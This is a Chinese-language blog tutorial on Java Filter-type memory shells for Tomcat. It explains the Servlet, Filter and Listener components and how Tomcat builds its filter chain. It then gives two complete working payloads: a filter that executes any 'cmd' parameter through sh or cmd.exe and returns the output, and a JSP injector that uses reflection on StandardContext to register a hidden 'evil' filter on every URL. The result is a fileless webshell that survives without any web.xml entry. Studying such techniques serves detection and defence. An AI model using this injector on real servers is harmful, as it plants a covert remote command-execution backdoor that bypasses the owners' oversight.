从零开始学习JavaFilter型内存马
前言
距离上次更新博客已经过去4天了,摸了几天🐟,今天来学习Filter型内存马。相信大家对内存马都不陌生,在渗透测试和hw行动中广为应用,内存马因其隐蔽性等优点从而越来越盛行。以前也只是在遇到某某Java环境不出网的时候,如何执行命令获得回显的问题中,从大哥们那里得知可以使用内存马。直到今天才来学习内存马的相关知识,属实惭愧🥵🥵🥵
前置知识
JavaWeb三大组件
Servlet
Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
Filter
概念: Filter也称之为过滤器,WEB 开发人员通过Filter技术可以对Web服务器管理的所有web资源:Jsp, Servlet, 静态图片文件或静态html文件等进行拦截,从而实现一些特殊的功能。
Listener
listener是监听器,用于监听Web中常见的对象,例如HttpServletRequest、HttpSession、ServletContext,分别对应着
- 监听web对象创建与销毁
- 监听web对象的属性变化
- 监听session绑定javaBean操作
当被监听的对象变化时,负责监听的对象会执行一系列动作。
Tomcat和Servlet的关系
Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)
内存马主要分为
1、servlet-api类
- filter型
- servlet类型
- listener型
触发顺序为Listener -> Filter -> Servlet
2、spring类
- 拦截器
- controller型
3、Java Instrumentation类
- agent类
今天就学习一下filter型的内存马
正文
Filter在请求处理的关键位置,这个注册的Filter就变成了客户端访问和最终负责请求数据处理之间的必经之路,如果我们对Filter中的内容进行修改,就可以实现请求数据预处理。
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第二个filter,如果没有,则调用目标资源。
Filter的生命周期
Filter和Servlet一样,它的创建和销毁均由Web服务器负责。当Web应用程序启动时,Web服务器将会创建Filter的实例化对象,并且调用它的init()
方法读取web.xml配置完成对象的初始化操作,Filter对象只会被创建一次,所以init()
方法也就只会被执行一次。开发人员通过init()
方法即可获得FilterConfig对象(filter配置信息)
init方法:
public void init(FilterConfig filterConfig) throws ServletException; //初始化
dofilter方法:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
public void destroy(); //销毁
相关Filter类
FilterDefs: 存放FilterDef的数组,其中存储着我们的filter名、filter实例等信息
FilterConfigs: 存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain:调用过滤器链
ApplicationFilterConfig:获取过滤器
ApplicationFilterFactory:组装过滤器链
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
Demo
先来写一个TestFilter类,测试一下,然后需要在web.xml中配置一下。
package com.le1a.web.Filter;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class TestFilter implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
public void init(FilterConfig config) throws ServletException {
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>cmd_Filters</filter-name>
<filter-class>com.le1a.web.Filter.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>cmd_Filters</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
发现内存马是注入成功了的,并且是有回显的。
Filter过滤链分析
Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML实例来解析web.xml
先来看在StandardWrapperValue
中利用createFilterChain来创建filterChain
跟进到createFilterChain
方法
通过getParent()
方法来获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps
然后开始遍历FilterMaps。如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法
可以看到此时已经装配第一个filter
重复遍历直至将所有的filter全部装载到filterchain中,然后就会重新回到 StandardWrapperValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法
此时的filterchain为
跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法
跟进internalDoFilter方法
发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法,从而触发了相应的代码。
总结
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的
Filter
名称 - 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
可以看到最开始是从context
中获取FilterMaps
,将符合条件的Filter
按照顺序进行调用。我们可以自己创建一个FilterMap
放在FilterMaps
的最前面,当请求的路径符合urlpattern
的时候,就会去找到FilterName
对应的FilterConfig
并添加到FilterChain,最终被filterChain#internalDoFilter
调用Filter的doFilter方法,触发MemShell。
Filter内存马注入
上面学习了Filter的流程分析,接下来学习一下如何注入内存马。实际环境中,我们不可能手动写一个Filter类并且在web.xml中配置。在createFilterChain方法里面生成过一个context即StandardContext类,就是一个web应用,要想办法获取这个context。
通过反射修改filterConfigs
、filterDefs
、filterMaps
,将恶意构造的FilterName
和urlpattern
存放到FilterMaps
中,从而注入内存马。
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "evil";
//创建servletContext
ServletContext servletContext = request.getSession().getServletContext();
//反射创建applicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//反射创建standardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//创建filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
};
////构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//将filterConfig添加到filterConfigs中,即可完成注入
filterConfigs.put(name,filterConfig);
response.getWriter().write("successfully!");
}
%>
补充
哈哈哈哈哈,直接贴@ch1e师傅的截图吧
参考
https://fmyyy.gitee.io/2021/11/21/java%20Filter%E5%86%85%E5%AD%98%E9%A9%AC/
https://www.cnblogs.com/bmjoker/p/15114884.html
https://www.cnblogs.com/yyhuni/p/shiroMemshell.html
https://ch1e.cn/2022/03/24/Filter/
http://wjlshare.com/archives/1529